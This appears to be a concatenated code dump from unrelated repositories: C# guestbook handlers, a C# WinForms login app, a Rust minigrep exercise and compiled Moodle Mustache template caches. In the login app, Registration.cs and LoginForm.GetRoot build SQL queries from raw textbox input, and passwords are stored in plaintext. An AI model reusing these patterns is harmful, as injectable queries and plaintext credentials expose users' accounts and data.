foreach (var entry in guestbook.Entries)
{
if (entry.DateTimeCreated.Date == DateTime.UtcNow.Date)
{
_messageSender.SendNotificationEmail(entry.EmailAddress, newEntry.Message);
}
}
}
}
}
<file_sep>using System;
using CleanArchitecture.Core.Entities;
using CleanArchitecture.Core.Events;
using CleanArchitecture.Core.Interfaces;
namespace CleanArchitecture.Core.Handlers
{
public class GuestbookNotificationHandler : IHandle<EntryAddedEvent>
{
private readonly IRepository<Guestbook> _guestbookRepository;
private readonly IMessageSender _messageSender;
public GuestbookNotificationHandler(IRepository<Guestbook> guestbookRepository, IMessageSender messageSender)
{
_guestbookRepository = guestbookRepository;
_messageSender = messageSender;
}
public void Handle(EntryAddedEvent entryAddedEvent)
{
var guestbook = _guestbookRepository.GetById(entryAddedEvent.GuestbookId);
foreach (var entry in guestbook.Entries)
{
if (entry.DateTimeCreated.Date == DateTime.UtcNow.Date)
{
_messageSender.SendNotificationEmail(entry.EmailAddress, entryAddedEvent.Entry.Message);
}
}
}
}
}
<file_sep>using System.Linq;
using CleanArchitecture.Core.Entities;
using Microsoft.EntityFrameworkCore;
namespace CleanArchitecture.Infrastructure.Data
{
public class GuestbookRepository : EfRepository<Guestbook>
{
public GuestbookRepository(AppDbContext dbContext) : base(dbContext)
{
}
public override Guestbook GetById(int id)
{
return _dbContext.Guestbooks.Include(g => g.Entries).FirstOrDefault(g => g.Id == id);
}
}
}
| 8e146c00cf363ffcafe895f99bfd8bc477a89d71 | [
"C#"
] | 3 | C# | THume/CleanArchitecture | 9e5dfeefe539f3da122288344d3943ef8e49a9b7 | f1328b7991357695e051549606f7460b8f6eb665 | |
refs/heads/master | <repo_name>Wea1Storm/Login-App<file_sep>/Login App/MainWindow.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Login_App
{
public partial class MainWindow : Form
{
public MainWindow()
{
InitializeComponent();
}
private void RootLable_Click(object sender, EventArgs e)
{
}
private void MainWindow_Load(object sender, EventArgs e)
{
UserNameLabel.Text = User.UserName;
RootLable.Text = User.Root;
}
private void UserNameLabel_Click(object sender, EventArgs e)
{
}
}
}
<file_sep>/Login App/Registration.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Configuration;
namespace Login_App
{
public partial class Registration : Form
{
string connectionString = ConfigurationManager.ConnectionStrings["UsersConnection"].ConnectionString;
public Registration()
{
InitializeComponent();
}
private void btnExit_Click(object sender, EventArgs e)
{
LoginForm lf = new LoginForm();
this.Hide();
lf.Show();
}
private void btnRegister_Click(object sender, EventArgs e)
{
if (isValid() && isLoginExist())
{
using(SqlConnection db = new SqlConnection(connectionString))
{
string query = $"INSERT INTO LoginTable (UserName, Password) values('{txtName.Text.TrimStart()}', '{txtPassword.Text.TrimStart()}')";
db.Open();
SqlDataAdapter sda = new SqlDataAdapter(query, db);
DataTable dta = new DataTable();
sda.Fill(dta);
db.Close();
MessageBox.Show("Registration Done!", "Success!");
LoginForm lf = new LoginForm();
this.Hide();
lf.Show();
}
}
}
private bool isValid()
{
if (txtName.Text.TrimStart() == string.Empty)
{
MessageBox.Show("Please enter your valid name", "Error");
return false;
}
else if (txtPassword.Text.TrimStart() == string.Empty)
{
MessageBox.Show("Please enter your valid password", "Error");
return false;
}
else if (txtConfirmPassword.Text.TrimStart() == string.Empty)
{
MessageBox.Show("Please enter confirm password", "Error");
return false;
}
if(txtPassword.Text.TrimStart() != txtConfirmPassword.Text.TrimStart())
{
MessageBox.Show("Password and confirm password aren't equals", "Error");
return false;
}
return true;
}
private bool isLoginExist()
{
using (SqlConnection db = new SqlConnection(connectionString))
{
string query = $"SELECT * FROM LoginTable WHERE UserName = '{txtName.Text.TrimStart()}'";
db.Open();
SqlDataAdapter sda = new SqlDataAdapter(query, db);
DataTable dta = new DataTable();
sda.Fill(dta);
db.Close();
if(dta.Rows.Count > 0)
{
MessageBox.Show("Error, this login already exist!", "Error!");
return false;
}
else
{
return true;
}
}
}
}
}<file_sep>/Login App/LoginForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Configuration;
namespace Login_App
{
public partial class LoginForm : Form
{
string connectionString = ConfigurationManager.ConnectionStrings["UsersConnection"].ConnectionString;
public LoginForm()
{
InitializeComponent();
}
private void label2_Click(object sender, EventArgs e)
{
}
private void LoginBtn_Click(object sender, EventArgs e)
{
if(isValid())
{
using (SqlConnection db = new SqlConnection(connectionString))
{
db.Open();
SqlCommand cmd = new SqlCommand("select count(*) from LoginTable where UserName=@UserName and Password=@Password", db);
cmd.Parameters.AddWithValue("@UserName", UserNameTxt.Text.Trim());
cmd.Parameters.AddWithValue("@Password", PasswordTxt.Text.Trim());
var isCorrectPassword = cmd.ExecuteScalar();
if ((int)isCorrectPassword >= 1)
{
GetRoot();
User.UserName = UserNameTxt.Text.Trim();
MainWindow main = new MainWindow();
this.Hide();
main.Show();
db.Close();
}
else
{
MessageBox.Show("Password not correct", "Error");
db.Close();
}
}
}
}
private void LoginForm_FormClosing(object sender, FormClosingEventArgs e)
{
}
private void ExitBtn_Click(object sender, EventArgs e)
{
Application.Exit();
}
private bool isValid()
{
if(UserNameTxt.Text.TrimStart() == string.Empty)
{
MessageBox.Show("Please enter your valid name", "Error");
return false;
}else if (PasswordTxt.Text.TrimStart() == string.Empty)
{
MessageBox.Show("Please enter your valid password", "Error");
return false;
}
return true;
}
private void GetRoot()
{
using(SqlConnection db = new SqlConnection(connectionString))
{
db.Open();
SqlCommand cmd = new SqlCommand($"SELECT Root FROM LoginTable WHERE UserName = '{UserNameTxt.Text.Trim()}' AND Password = '{PasswordTxt.Text.Trim()}'", db);
var Root = cmd.ExecuteScalar();
if(string.IsNullOrWhiteSpace(Root.ToString()) || Root.ToString() == null)
{
User.Root = "user";
}
else
{
User.Root = Root.ToString();
}
db.Close();
}
}
private void btnRegistration_Click(object sender, EventArgs e)
{
Registration rg = new Registration();
this.Hide();
rg.Show();
}
}
}<file_sep>/Login App/User.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Login_App
{
public static class User
{
public static string UserName { get; set; }
public static string Password { get; set; }
public static string Root { get; set; }
}
}
| f41afd8908a2918a9b7912447b346cf5d08c7cf6 | [
"C#"
] | 4 | C# | Wea1Storm/Login-App | 4e175337e4ae539f3e6ac6545e11856ce7fc18b2 | 531bfec7a45bd4b4f411f8c4d9669af0a16d692e | |
refs/heads/master | <file_sep>use std::fs;
use std::error::Error;
use std::env;
pub struct Config {
pub query: String,
pub filename: String,
pub case_sensitive: bool,
}
impl Config {
pub fn new(mut args: std::env::Args) -> Result<Config, &'static str> {
args.next();
let query = match args.next() {
Some(arg) => arg,
None => return Err("Didn't get a query string"),
};
let filename = match args.next() {
Some(arg) => arg,
None => return Err("Didn't get a filename"),
};
let case_sensitive = env::var("CASE_SENSITIVE").is_err();
Ok(Config{query, filename, case_sensitive})
// if args.len() < 3 {
// return Err("not enough arguments")
// }
// // args 1 is search string
// let query = args[1].clone();
// //args 2 is filename
// let filename = args[2].clone();
// let case_sensitive = env::var("CASE_SENSITIVE").is_err();
// Ok(Config{query, filename, case_sensitive})
}
}
pub fn run(config: Config) -> Result<(), Box<dyn Error>> {
let contents = fs::read_to_string(config.filename)?;
let results = if config.case_sensitive {
search(&config.query, &contents)
} else {
search_case_sensitive(&config.query, &contents)
};
for line in results {
println!("{}", line);
}
Ok(())
}
#[cfg(test)]
mod tests{
use super::*;
#[test]
fn true_result() {
let query = "con duong";
let content = "\
Hen mot mai:
Co con duong nao buoc qua
Ta den mang em mon qua
";
assert_eq!(
vec!["Co con duong nao buoc qua"],
search(query, content)
);
}
#[test]
fn error_result() {
let query = "meo con xinh xinh";
let content = "\
Hen mot mai:
Co con duong nao buoc qua
Ta den mang em mon qua
";
assert_ne!(
vec!["meo con xinh xinh"],
search(query, content)
);
}
#[test]
fn sensitive_case() {
let query = "<NAME>";
let content = "\
Hen mot mai:
Co con duong nao buoc qua
Ta den mang em mon qua
";
assert_ne!(
vec!["Hen mot mai:"],
search(query, content)
);
}
#[test]
fn search_case_sensitive_test() {
let contents = "Lili was a little girl";
let query = "Was A";
assert_eq!(
vec!["Lili was a little girl"],
search_case_sensitive(query, contents)
);
}
}
pub fn search<'a>(query: &str, content: &'a str) -> Vec<&'a str> {
content.lines().filter(|line| line.contains(query)).collect()
// let mut results = Vec::new();
// for line in content.lines() {
// if line.contains(query) {
// results.push(line);
// }
// }
// results
}
pub fn search_case_sensitive<'a>(query: &str, content: &'a str) -> Vec<&'a str> {
let mut results = Vec::new();
let query = query.to_lowercase();
for line in content.lines() {
if line.to_lowercase().contains(&query) {
results.push(line);
}
}
results
}
<file_sep># Minigrep
Minigrep is a simple project when I begin learning Rust.
| 7c7aacf69b58913aa385b7d958b1f56365576c96 | [
"Markdown",
"Rust"
] | 2 | Rust | luanngominh/minigrep | 4b1a2eb909772ec6f272d12e8e00729844ed84ac | d46252618676bf9217d07203d7dc1725be0d7940 | |
refs/heads/main | <repo_name>GoodLvck/moodle-start<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_551b9e32158ac232560ab1cade91f404.php
<?php
class __Mustache_551b9e32158ac232560ab1cade91f404 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '<nav class="section_footer">
';
// 'previous' section
$value = $context->find('previous');
$buffer .= $this->section10696abb13f1c7f598e93f4dababd41e($context, $indent, $value);
// 'next' section
$value = $context->find('next');
$buffer .= $this->section6c387c94a7e1693c2407969ec7e0d437($context, $indent, $value);
$buffer .= $indent . '</nav>
';
return $buffer;
}
private function sectionBf20dcc0ab9509c23a04cd0a689e9dde(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'previoussection, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'previoussection, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function section10696abb13f1c7f598e93f4dababd41e(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<a class="previous_section {{classes}}" href="#section-{{section}}" section-number="{{section}}">
<div class="nav_icon"><i class="icon-arrow-left" section-number="{{section}}"></i></div>
<span class="text"><span class="nav_guide" section-number="{{section}}">{{#str}}previoussection, theme_snap{{/str}}</span><br>{{{title}}}</span>
</a>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <a class="previous_section ';
$value = $this->resolveValue($context->find('classes'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" href="#section-';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
$buffer .= $indent . ' <div class="nav_icon"><i class="icon-arrow-left" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '"></i></div>
';
$buffer .= $indent . ' <span class="text"><span class="nav_guide" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionBf20dcc0ab9509c23a04cd0a689e9dde($context, $indent, $value);
$buffer .= '</span><br>';
$value = $this->resolveValue($context->find('title'), $context);
$buffer .= $value;
$buffer .= '</span>
';
$buffer .= $indent . ' </a>
';
$context->pop();
}
}
return $buffer;
}
private function section33dfbe9154c2c9bc90b1e9b9a9944fb3(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'nextsection, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'nextsection, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function section6c387c94a7e1693c2407969ec7e0d437(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<a class="next_section {{classes}}" href="#section-{{section}}" section-number="{{section}}">
<div class="nav_icon"><i class="icon-arrow-right" section-number="{{section}}"></i></div>
<span class="text"><span class="nav_guide" section-number="{{section}}">{{#str}}nextsection, theme_snap{{/str}}</span><br>{{{title}}}</span>
</a>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <a class="next_section ';
$value = $this->resolveValue($context->find('classes'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" href="#section-';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
$buffer .= $indent . ' <div class="nav_icon"><i class="icon-arrow-right" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '"></i></div>
';
$buffer .= $indent . ' <span class="text"><span class="nav_guide" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section33dfbe9154c2c9bc90b1e9b9a9944fb3($context, $indent, $value);
$buffer .= '</span><br>';
$value = $this->resolveValue($context->find('title'), $context);
$buffer .= $value;
$buffer .= '</span>
';
$buffer .= $indent . ' </a>
';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_97c2d8b26f1974e9778421d2c308c758.php
<?php
class __Mustache_97c2d8b26f1974e9778421d2c308c758 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '<form id="toc-search" onSubmit="return false;">
';
$buffer .= $indent . ' <input search-enabled="true" id="toc-search-input" type="text" title="';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionBec198647490b4fd7cf2a5fed37757ce($context, $indent, $value);
$buffer .= '" placeholder="';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section9bcc280557ab827fca0c09efda4babd8($context, $indent, $value);
$buffer .= '" autocomplete="off" />
';
$buffer .= $indent . ' <ul id="toc-search-results" class="list-unstyled" role="listbox" aria-label="search" aria-relevant="additions"></ul>
';
$buffer .= $indent . ' <ul role="listbox" id="toc-searchables" aria-hidden="true">
';
// 'modules' section
$value = $context->find('modules');
$buffer .= $this->sectionB92bd59270de630f8b21d77a0cf2ddf1($context, $indent, $value);
$buffer .= $indent . ' </ul>
';
$buffer .= $indent . '</form>
';
return $buffer;
}
private function sectionBec198647490b4fd7cf2a5fed37757ce(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'search';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'search';
$context->pop();
}
}
return $buffer;
}
private function section9bcc280557ab827fca0c09efda4babd8(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'search, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'search, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function section646337e43a5b6fb19d8abc64d59e2ff2(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'notpublished, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'notpublished, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function sectionB92bd59270de630f8b21d77a0cf2ddf1(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<li role=option data-id="{{cmid}}">
<a href="{{url}}" tabindex="0">
<img src="{{iconurl}}" alt="" />
<span class="sr-only">{{srinfo}}</span>
{{{formattedname}}}
{{^uservisible}}
<span class="linkinfo">
{{#str}}notpublished, theme_snap{{/str}}
</span>
{{/uservisible}}
</a>
</li>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <li role=option data-id="';
$value = $this->resolveValue($context->find('cmid'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
$buffer .= $indent . ' <a href="';
$value = $this->resolveValue($context->find('url'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" tabindex="0">
';
$buffer .= $indent . ' <img src="';
$value = $this->resolveValue($context->find('iconurl'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" alt="" />
';
$buffer .= $indent . ' <span class="sr-only">';
$value = $this->resolveValue($context->find('srinfo'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '</span>
';
$buffer .= $indent . ' ';
$value = $this->resolveValue($context->find('formattedname'), $context);
$buffer .= $value;
$buffer .= '
';
// 'uservisible' inverted section
$value = $context->find('uservisible');
if (empty($value)) {
$buffer .= $indent . ' <span class="linkinfo">
';
$buffer .= $indent . ' ';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section646337e43a5b6fb19d8abc64d59e2ff2($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' </span>
';
}
$buffer .= $indent . ' </a>
';
$buffer .= $indent . ' </li>
';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_a8671e1796cfd4fb01c85600c55590f5.php
<?php
class __Mustache_a8671e1796cfd4fb01c85600c55590f5 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '
';
// 'js' section
$value = $context->find('js');
$buffer .= $this->section33f1e1f1b50095505bd8a10271860fc8($context, $indent, $value);
return $buffer;
}
private function section450fd3995b8cf183ce079ba8703c617b(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' guestconsentmessage, tool_policy ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' guestconsentmessage, tool_policy ';
$context->pop();
}
}
return $buffer;
}
private function section0ae3501ccb6c69482d9f0047013ce325(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '&returnurl={{.}}';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= '&returnurl=';
$value = $this->resolveValue($context->last(), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$context->pop();
}
}
return $buffer;
}
private function section72a7f340492fa481f71321222bbde4ef(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '" +
"<li>" +
"<a href=\\"{{pluginbaseurl}}/view.php?versionid={{id}}{{#returnurl}}&returnurl={{.}}{{/returnurl}}\\" " +
" data-action=\\"view-guest\\" data-versionid=\\"{{id}}\\" data-behalfid=\\"1\\" >" +
"{{{name}}}" +
"</a>" +
"</li>" +
"';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= '" +
';
$buffer .= $indent . ' "<li>" +
';
$buffer .= $indent . ' "<a href=\\"';
$value = $this->resolveValue($context->find('pluginbaseurl'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '/view.php?versionid=';
$value = $this->resolveValue($context->find('id'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
// 'returnurl' section
$value = $context->find('returnurl');
$buffer .= $this->section0ae3501ccb6c69482d9f0047013ce325($context, $indent, $value);
$buffer .= '\\" " +
';
$buffer .= $indent . ' " data-action=\\"view-guest\\" data-versionid=\\"';
$value = $this->resolveValue($context->find('id'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '\\" data-behalfid=\\"1\\" >" +
';
$buffer .= $indent . ' "';
$value = $this->resolveValue($context->find('name'), $context);
$buffer .= $value;
$buffer .= '" +
';
$buffer .= $indent . ' "</a>" +
';
$buffer .= $indent . ' "</li>" +
';
$buffer .= $indent . ' "';
$context->pop();
}
}
return $buffer;
}
private function section135bb0f329a8bd8199e0b9035aeeebe5(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' guestconsent:continue, tool_policy ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' guestconsent:continue, tool_policy ';
$context->pop();
}
}
return $buffer;
}
private function section63ba8bde1fe6728d486e526c4a9243e4(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
// Get localised messages.
var textmessage = "{{# str }} guestconsentmessage, tool_policy {{/ str }}" +
"<ul>{{#policies}}" +
"<li>" +
"<a href=\\"{{pluginbaseurl}}/view.php?versionid={{id}}{{#returnurl}}&returnurl={{.}}{{/returnurl}}\\" " +
" data-action=\\"view-guest\\" data-versionid=\\"{{id}}\\" data-behalfid=\\"1\\" >" +
"{{{name}}}" +
"</a>" +
"</li>" +
"{{/policies}}" +
"</ul>";
var continuemessage = "{{# str }} guestconsent:continue, tool_policy {{/ str }}";
// Initialize popup.
$(document.body).addClass(\'eupopup\');
if ($(".eupopup").length > 0) {
$(document).euCookieLawPopup().init({
popupPosition: \'bottom\',
popupTitle: \'\',
popupText: textmessage,
buttonContinueTitle: continuemessage,
buttonLearnmoreTitle: \'\',
compactStyle: true,
});
}
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' // Get localised messages.
';
$buffer .= $indent . ' var textmessage = "';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section450fd3995b8cf183ce079ba8703c617b($context, $indent, $value);
$buffer .= '" +
';
$buffer .= $indent . ' "<ul>';
// 'policies' section
$value = $context->find('policies');
$buffer .= $this->section72a7f340492fa481f71321222bbde4ef($context, $indent, $value);
$buffer .= '" +
';
$buffer .= $indent . ' "</ul>";
';
$buffer .= $indent . ' var continuemessage = "';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section135bb0f329a8bd8199e0b9035aeeebe5($context, $indent, $value);
$buffer .= '";
';
$buffer .= $indent . '
';
$buffer .= $indent . ' // Initialize popup.
';
$buffer .= $indent . ' $(document.body).addClass(\'eupopup\');
';
$buffer .= $indent . ' if ($(".eupopup").length > 0) {
';
$buffer .= $indent . ' $(document).euCookieLawPopup().init({
';
$buffer .= $indent . ' popupPosition: \'bottom\',
';
$buffer .= $indent . ' popupTitle: \'\',
';
$buffer .= $indent . ' popupText: textmessage,
';
$buffer .= $indent . ' buttonContinueTitle: continuemessage,
';
$buffer .= $indent . ' buttonLearnmoreTitle: \'\',
';
$buffer .= $indent . ' compactStyle: true,
';
$buffer .= $indent . ' });
';
$buffer .= $indent . ' }
';
$context->pop();
}
}
return $buffer;
}
private function section33f1e1f1b50095505bd8a10271860fc8(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
require([\'jquery\', \'tool_policy/jquery-eu-cookie-law-popup\', \'tool_policy/policyactions\'], function($, Popup, ActionsMod) {
// Initialise the guest popup.
$(document).ready(function() {
// Only show message if there is some policy related to guests.
{{#haspolicies}}
// Get localised messages.
var textmessage = "{{# str }} guestconsentmessage, tool_policy {{/ str }}" +
"<ul>{{#policies}}" +
"<li>" +
"<a href=\\"{{pluginbaseurl}}/view.php?versionid={{id}}{{#returnurl}}&returnurl={{.}}{{/returnurl}}\\" " +
" data-action=\\"view-guest\\" data-versionid=\\"{{id}}\\" data-behalfid=\\"1\\" >" +
"{{{name}}}" +
"</a>" +
"</li>" +
"{{/policies}}" +
"</ul>";
var continuemessage = "{{# str }} guestconsent:continue, tool_policy {{/ str }}";
// Initialize popup.
$(document.body).addClass(\'eupopup\');
if ($(".eupopup").length > 0) {
$(document).euCookieLawPopup().init({
popupPosition: \'bottom\',
popupTitle: \'\',
popupText: textmessage,
buttonContinueTitle: continuemessage,
buttonLearnmoreTitle: \'\',
compactStyle: true,
});
}
{{/haspolicies}}
// Initialise the JS for the modal window which displays the policy versions.
ActionsMod.init(\'[data-action="view-guest"]\');
});
});
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . '
';
$buffer .= $indent . 'require([\'jquery\', \'tool_policy/jquery-eu-cookie-law-popup\', \'tool_policy/policyactions\'], function($, Popup, ActionsMod) {
';
$buffer .= $indent . ' // Initialise the guest popup.
';
$buffer .= $indent . ' $(document).ready(function() {
';
$buffer .= $indent . ' // Only show message if there is some policy related to guests.
';
// 'haspolicies' section
$value = $context->find('haspolicies');
$buffer .= $this->section63ba8bde1fe6728d486e526c4a9243e4($context, $indent, $value);
$buffer .= $indent . '
';
$buffer .= $indent . ' // Initialise the JS for the modal window which displays the policy versions.
';
$buffer .= $indent . ' ActionsMod.init(\'[data-action="view-guest"]\');
';
$buffer .= $indent . ' });
';
$buffer .= $indent . '});
';
$buffer .= $indent . '
';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_855b21983028c98685ef69ccb7c84fb0.php
<?php
class __Mustache_855b21983028c98685ef69ccb7c84fb0 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '<div id="searchinput-navbar-';
$value = $this->resolveValue($context->find('uniqid'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" class="simplesearchform">
';
$buffer .= $indent . ' <div class="collapse" id="searchform-navbar">
';
